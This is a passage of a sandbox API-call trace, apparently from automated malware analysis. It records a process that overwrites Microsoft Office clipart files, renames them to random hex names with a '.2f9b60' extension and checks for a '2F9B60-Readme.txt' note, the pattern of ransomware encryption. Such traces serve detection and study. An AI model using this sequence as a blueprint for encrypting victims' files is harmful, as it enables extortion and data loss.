RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0096.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606c0 [0096.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8606c0) returned 1 [0096.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0096.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c800) returned 1 [0096.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ee70 [0096.395] sprintf (in: _Dest=0x1cd9ee70, _Format="%c%c" | out: _Dest="58") returned 2 [0096.395] sprintf (in: _Dest=0x1cd9ee72, _Format="%c%c" | out: _Dest="4e") returned 2 [0096.395] sprintf (in: _Dest=0x1cd9ee74, _Format="%c%c" | out: _Dest="94") returned 2 [0096.395] sprintf (in: _Dest=0x1cd9ee76, _Format="%c%c" | out: _Dest="b1") returned 2 [0096.395] sprintf (in: _Dest=0x1cd9ee78, _Format="%c%c" | out: _Dest="3e") returned 2 [0096.395] sprintf (in: _Dest=0x1cd9ee7a, _Format="%c%c" | out: _Dest="e6") returned 2 [0096.395] sprintf (in: _Dest=0x1cd9ee7c, _Format="%c%c" | out: _Dest="f5") returned 2 [0096.395] sprintf (in: _Dest=0x1cd9ee7e, _Format="%c%c" | out: _Dest="52") returned 2 [0096.395] sprintf (in: _Dest=0x1cd9ee80, _Format="%c%c" | out: _Dest="0e") returned 2 [0096.395] sprintf (in: _Dest=0x1cd9ee82, _Format="%c%c" | out: _Dest="b3") returned 2 [0096.395] sprintf (in: _Dest=0x1cd9ee84, _Format="%c%c" | out: _Dest="90") returned 2 [0096.395] sprintf (in: _Dest=0x1cd9ee86, _Format="%c%c" | out: _Dest="68") returned 2 [0096.395] sprintf (in: _Dest=0x1cd9ee88, _Format="%c%c" | out: _Dest="b0") returned 2 [0096.395] sprintf (in: _Dest=0x1cd9ee8a, _Format="%c%c" | out: _Dest="cd") returned 2 [0096.395] sprintf (in: _Dest=0x1cd9ee8c, _Format="%c%c" | out: _Dest="f7") returned 2 [0096.396] sprintf (in: _Dest=0x1cd9ee8e, _Format="%c%c" | out: _Dest="cf") returned 2 [0096.396] sprintf (in: _Dest=0x1cd9ee90, _Format="%c%c" | out: _Dest="01") returned 2 [0096.396] sprintf (in: _Dest=0x1cd9ee92, _Format="%c%c" | out: _Dest="8a") returned 2 [0096.396] sprintf (in: _Dest=0x1cd9ee94, _Format="%c%c" | out: _Dest="72") returned 2 [0096.396] sprintf (in: _Dest=0x1cd9ee96, _Format="%c%c" | out: _Dest="cc") returned 2 [0096.396] sprintf (in: _Dest=0x1cd9ee98, _Format="%c%c" | out: _Dest="4d") returned 2 [0096.396] sprintf (in: _Dest=0x1cd9ee9a, _Format="%c%c" | out: _Dest="c8") returned 2 [0096.396] sprintf (in: _Dest=0x1cd9ee9c, _Format="%c%c" | out: _Dest="f8") returned 2 [0096.396] sprintf (in: _Dest=0x1cd9ee9e, _Format="%c%c" | out: _Dest="e4") returned 2 [0096.396] RtlInitAnsiString (in: DestinationString=0x2a14fe88, SourceString="584e94b13ee6f5520eb39068b0cdf7cf018a72cc4dc8f8e4" | out: DestinationString="584e94b13ee6f5520eb39068b0cdf7cf018a72cc4dc8f8e4") [0096.396] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a14fe58, SourceString="584e94b13ee6f5520eb39068b0cdf7cf018a72cc4dc8f8e4", AllocateDestinationString=1 | out: DestinationString="584e94b13ee6f5520eb39068b0cdf7cf018a72cc4dc8f8e4") returned 0x0 [0096.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863f80 [0096.396] wcscat (in: _Dest=0x2027a0b0, _Source="584e94b13ee6" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\584e94b13ee6") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\584e94b13ee6" [0096.396] wcscat (in: _Dest=0x2027a0b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\584e94b13ee6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\584e94b13ee6.2f9b60" [0096.396] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\584e94b13ee6.2f9b60", NtPathName=0x2a14fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\584e94b13ee6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278530 [0109.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278530) returned 1 [0109.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48f90) returned 1 [0109.589] NtQueryInformationFile (in: FileHandle=0xec4, IoStatusBlock=0x2a14fe98, FileInformation=0x2a14fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a14fe98, FileInformation=0x2a14fea8) returned 0x0 [0109.589] NtSetInformationFile (FileHandle=0xec4, IoStatusBlock=0x2a14fe98, FileInformation=0x2a14fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a0b0) returned 1 [0109.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863f80) returned 1 [0109.605] FlushFileBuffers (hFile=0xec4) returned 1 [0109.609] CloseHandle (hObject=0xec4) returned 1 [0109.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1190 [0109.611] wcscpy (in: _Dest=0x202b1190, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.611] wcscat (in: _Dest=0x202b1190, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1190) returned 1 [0109.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cf90) returned 1 Thread: id = 651 os_tid = 0x1110 [0095.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0096.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF", dwFileAttributes=0x20) returned 1 [0096.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xec0 [0096.307] GetFileSizeEx (in: hFile=0xec0, lpFileSize=0x293ffc20 | out: lpFileSize=0x293ffc20*=10607) returned 1 [0096.307] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x296b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.307] ReadFile (in: hFile=0xec0, lpBuffer=0x293ffba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x293ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x293ffba0*, lpNumberOfBytesRead=0x293ffbe8*=0x4, lpOverlapped=0x0) returned 1 [0096.337] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0096.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0096.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0096.337] NtQuerySystemTime (in: CurrentTime=0x293ffae0 | out: CurrentTime=0x293ffae0*=132462177021718000) returned 0x0 [0096.337] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x640365cf [0096.337] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x1fd93eaf [0096.337] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x2b48c187 [0096.337] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x9d41fc2 [0096.337] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x301f801a [0096.337] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x18868102 [0096.337] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x3b5eda79 [0096.337] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x10f4ffb3 [0096.337] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x6d883cbf [0096.337] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x189fcbaf [0096.337] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x90a6269 [0096.337] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x2394341a [0096.337] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x280544c2 [0096.337] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0xc4ddc16 [0096.337] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x2d05f859 [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x1dc8fde9 [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x6d30c52d [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x70788f41 [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x29313202 [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x6e86e4df [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x67de255d [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x4b35d358 [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x1b605ce7 [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x47f94d5c [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x1785ed22 [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x3857c555 [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0xd3c94c5 [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0xae4ca43 [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x213f2e7a [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x37860b48 [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0xa3b4ac2 [0096.338] RtlRandomEx (in: Seed=0x293ffad0 | out: Seed=0x293ffad0) returned 0x5e641956 [0096.352] ReadFile (in: hFile=0xec0, lpBuffer=0x201a6910, nNumberOfBytesToRead=0x296f, lpNumberOfBytesRead=0x293ffad0, lpOverlapped=0x0 | out: lpBuffer=0x201a6910*, lpNumberOfBytesRead=0x293ffad0*=0x296f, lpOverlapped=0x0) returned 1 [0096.392] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.392] WriteFile (in: hFile=0xec0, lpBuffer=0x201aa520*, nNumberOfBytesToWrite=0x296f, lpNumberOfBytesWritten=0x293ffad4, lpOverlapped=0x0 | out: lpBuffer=0x201aa520*, lpNumberOfBytesWritten=0x293ffad4*=0x296f, lpOverlapped=0x0) returned 1 [0096.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860660 [0096.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606f0 [0096.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8606f0) returned 1 [0096.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201aa520) returned 1 [0096.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a6910) returned 1 [0096.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0096.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0096.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8606f0 [0096.418] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0096.418] WriteFile (in: hFile=0xec0, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x293ffbf0, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x293ffbf0*=0x10a, lpOverlapped=0x0) returned 1 [0096.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c710 [0096.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d970 [0096.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0096.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8b0) returned 1 [0096.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0096.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0096.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0096.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f580) returned 1 [0096.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0096.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0096.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ee70 [0096.438] sprintf (in: _Dest=0x1cd9ee70, _Format="%c%c" | out: _Dest="81") returned 2 [0096.438] sprintf (in: _Dest=0x1cd9ee72, _Format="%c%c" | out: _Dest="3f") returned 2 [0096.438] sprintf (in: _Dest=0x1cd9ee74, _Format="%c%c" | out: _Dest="be") returned 2 [0096.438] sprintf (in: _Dest=0x1cd9ee76, _Format="%c%c" | out: _Dest="6e") returned 2 [0096.438] sprintf (in: _Dest=0x1cd9ee78, _Format="%c%c" | out: _Dest="9e") returned 2 [0096.438] sprintf (in: _Dest=0x1cd9ee7a, _Format="%c%c" | out: _Dest="82") returned 2 [0096.438] sprintf (in: _Dest=0x1cd9ee7c, _Format="%c%c" | out: _Dest="a4") returned 2 [0096.438] sprintf (in: _Dest=0x1cd9ee7e, _Format="%c%c" | out: _Dest="c5") returned 2 [0096.438] sprintf (in: _Dest=0x1cd9ee80, _Format="%c%c" | out: _Dest="14") returned 2 [0096.438] sprintf (in: _Dest=0x1cd9ee82, _Format="%c%c" | out: _Dest="a3") returned 2 [0096.438] sprintf (in: _Dest=0x1cd9ee84, _Format="%c%c" | out: _Dest="4a") returned 2 [0096.438] sprintf (in: _Dest=0x1cd9ee86, _Format="%c%c" | out: _Dest="d5") returned 2 [0096.438] sprintf (in: _Dest=0x1cd9ee88, _Format="%c%c" | out: _Dest="25") returned 2 [0096.438] sprintf (in: _Dest=0x1cd9ee8a, _Format="%c%c" | out: _Dest="29") returned 2 [0096.438] sprintf (in: _Dest=0x1cd9ee8c, _Format="%c%c" | out: _Dest="40") returned 2 [0096.438] sprintf (in: _Dest=0x1cd9ee8e, _Format="%c%c" | out: _Dest="da") returned 2 [0096.439] sprintf (in: _Dest=0x1cd9ee90, _Format="%c%c" | out: _Dest="be") returned 2 [0096.439] sprintf (in: _Dest=0x1cd9ee92, _Format="%c%c" | out: _Dest="c4") returned 2 [0096.439] sprintf (in: _Dest=0x1cd9ee94, _Format="%c%c" | out: _Dest="58") returned 2 [0096.439] sprintf (in: _Dest=0x1cd9ee96, _Format="%c%c" | out: _Dest="b7") returned 2 [0096.439] sprintf (in: _Dest=0x1cd9ee98, _Format="%c%c" | out: _Dest="32") returned 2 [0096.439] sprintf (in: _Dest=0x1cd9ee9a, _Format="%c%c" | out: _Dest="74") returned 2 [0096.439] sprintf (in: _Dest=0x1cd9ee9c, _Format="%c%c" | out: _Dest="2e") returned 2 [0096.439] sprintf (in: _Dest=0x1cd9ee9e, _Format="%c%c" | out: _Dest="97") returned 2 [0096.439] RtlInitAnsiString (in: DestinationString=0x293ffc68, SourceString="813fbe6e9e82a4c514a34ad5252940dabec458b732742e97" | out: DestinationString="813fbe6e9e82a4c514a34ad5252940dabec458b732742e97") [0096.439] RtlAnsiStringToUnicodeString (in: DestinationString=0x293ffc38, SourceString="813fbe6e9e82a4c514a34ad5252940dabec458b732742e97", AllocateDestinationString=1 | out: DestinationString="813fbe6e9e82a4c514a34ad5252940dabec458b732742e97") returned 0x0 [0096.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863ff0 [0096.439] wcscat (in: _Dest=0x2027a150, _Source="813fbe6e9e82" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\813fbe6e9e82") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\813fbe6e9e82" [0096.439] wcscat (in: _Dest=0x2027a150, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\813fbe6e9e82.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\813fbe6e9e82.2f9b60" [0096.439] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\813fbe6e9e82.2f9b60", NtPathName=0x293ffc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\813fbe6e9e82.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202785f0 [0109.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202785f0) returned 1 [0109.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf491c0) returned 1 [0109.125] NtQueryInformationFile (in: FileHandle=0xec0, IoStatusBlock=0x293ffc78, FileInformation=0x293ffc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x293ffc78, FileInformation=0x293ffc88) returned 0x0 [0109.125] NtSetInformationFile (FileHandle=0xec0, IoStatusBlock=0x293ffc78, FileInformation=0x293ffc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a150) returned 1 [0109.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863ff0) returned 1 [0109.188] FlushFileBuffers (hFile=0xec0) returned 1 [0109.195] CloseHandle (hObject=0xec0) returned 1 [0109.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027a150 [0109.196] wcscpy (in: _Dest=0x2027a150, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.196] wcscat (in: _Dest=0x2027a150, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a150) returned 1 [0109.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d020) returned 1 Thread: id = 652 os_tid = 0x1114 [0095.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0096.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF", dwFileAttributes=0x20) returned 1 [0096.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xebc [0096.248] GetFileSizeEx (in: hFile=0xebc, lpFileSize=0x2a0bf800 | out: lpFileSize=0x2a0bf800*=15308) returned 1 [0096.248] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x3bc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.248] ReadFile (in: hFile=0xebc, lpBuffer=0x2a0bf780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a0bf7c8, lpOverlapped=0x0 | out: lpBuffer=0x2a0bf780*, lpNumberOfBytesRead=0x2a0bf7c8*=0x4, lpOverlapped=0x0) returned 1 [0096.270] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0096.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0096.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0096.270] NtQuerySystemTime (in: CurrentTime=0x2a0bf6c0 | out: CurrentTime=0x2a0bf6c0*=132462177021094000) returned 0x0 [0096.270] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x7b6cf1ca [0096.270] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x128a8ff3 [0096.270] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x13c75e02 [0096.270] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x4f15c41e [0096.270] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x22868636 [0096.270] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x70d9ee6e [0096.270] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x4d7a5a27 [0096.270] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x37800945 [0096.270] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x1913cc48 [0096.270] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x3166edee [0096.270] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x6274ec8a [0096.270] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0xaf21bea [0096.270] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x2bd60ccd [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x32082b71 [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x61471b60 [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x53dfefc3 [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x1d8db91a [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x3d0e8f5b [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x499000e3 [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x3e5be7b5 [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x6ded709 [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x472a9d1f [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x276b779c [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x72a1c192 [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x2813de6a [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x256d588f [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x1d89b501 [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x77c2d727 [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x2f903bc8 [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x196b890f [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x29065942 [0096.271] RtlRandomEx (in: Seed=0x2a0bf6b0 | out: Seed=0x2a0bf6b0) returned 0x70d9ee6e [0096.280] ReadFile (in: hFile=0xebc, lpBuffer=0x201ae130, nNumberOfBytesToRead=0x3bcc, lpNumberOfBytesRead=0x2a0bf6b0, lpOverlapped=0x0 | out: lpBuffer=0x201ae130*, lpNumberOfBytesRead=0x2a0bf6b0*=0x3bcc, lpOverlapped=0x0) returned 1 [0096.289] SetFilePointerEx (in: hFile=0xebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.289] WriteFile (in: hFile=0xebc, lpBuffer=0x20153cc0*, nNumberOfBytesToWrite=0x3bcc, lpNumberOfBytesWritten=0x2a0bf6b4, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesWritten=0x2a0bf6b4*=0x3bcc, lpOverlapped=0x0) returned 1 [0098.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0098.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860600 [0098.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860600) returned 1 [0098.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20153cc0) returned 1 [0098.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 